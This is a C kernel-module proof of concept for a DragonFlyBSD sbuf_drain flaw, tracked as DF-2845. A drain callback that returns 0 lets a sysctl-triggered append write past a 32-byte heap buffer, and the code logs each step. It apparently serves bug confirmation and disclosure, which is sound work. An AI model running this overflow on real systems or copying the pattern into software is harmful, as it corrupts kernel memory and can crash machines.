DF-2845 / baddrain.c
/* * DF-2845 PoC (instrumented) -- DragonFlyBSD sys/kern/subr_sbuf.c * * sbuf_drain() trusts the drain callback's return value; the only guard * against a drain returning 0 is KASSERT (subr_sbuf.c:336), compiled out * on non-INVARIANTS kernels. This module registers a contract-violating * drain (returns 0 = "consumed nothing, no error") and, on demand via * sysctl, overfills a 32-byte FIXEDLEN sbuf. * * Step markers localize any crash precisely. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/sbuf.h> #include <sys/sysctl.h> #include <sys/errno.h> static int df2845_trigger = 0; static int df2845_drain_ret0(void *arg, const char *data, int len) { kprintf("DF2845: drain called with len=%d -> returning 0\n", len); return (0); } static int df2845_sysctl(SYSCTL_HANDLER_ARGS) { struct sbuf *sb; char payload[256]; size_t i; int rc, error; error = sysctl_handle_int(oidp, &df2845_trigger, 0, req); if (error != 0 || req->newptr == NULL) return (error); kprintf("DF2845: [1] allocating 32-byte FIXEDLEN sbuf\n"); sb = sbuf_new(NULL, NULL, 32, SBUF_FIXEDLEN); if (sb == NULL) { kprintf("DF2845: sbuf_new failed\n"); return (ENOMEM); } kprintf("DF2845: [2] installing 0-returning drain\n"); sbuf_set_drain(sb, df2845_drain_ret0, NULL); for (i = 0; i < sizeof(payload) - 1; i++) payload[i] = 'A' + (i % 26); payload[i] = '\0'; kprintf("DF2845: [3] catting 255 bytes (drain fires at byte 32)\n"); rc = sbuf_cat(sb, payload); kprintf("DF2845: [4] sbuf_cat rc=%d s_error=%d s_len=%zd s_size=%zd " "(buffer kmalloc'd for 32 bytes)\n", rc, sb->s_error, sb->s_len, sb->s_size); if (sb->s_len >= sb->s_size) { kprintf("DF2845: OVERFLOW CONFIRMED: %zd byte(s) written past " "the end of the 32-byte heap allocation\n", sb->s_len - sb->s_size + 1); } else { kprintf("DF2845: BLOCKED: no overflow, sbuf error discipline " "held (fix present?)\n"); } /* Intentionally no sbuf_delete(): state is the evidence. */ return (0); } static int df2845_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: SYSCTL_ADD_PROC(NULL, SYSCTL_STATIC_CHILDREN(_debug), OID_AUTO, "df2845_trigger", CTLTYPE_INT | CTLFLAG_RW, &df2845_trigger, 0, df2845_sysctl, "I", "DF-2845: overflow a FIXEDLEN sbuf via 0-returning drain"); kprintf("DF2845: module loaded; run " "'sysctl debug.df2845_trigger=1' to trigger\n"); return (0); case MOD_UNLOAD: kprintf("DF2845: module unloading\n"); return (0); default: return (0); } } DECLARE_MODULE(baddrain, df2845_modevent, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(baddrain, 1); |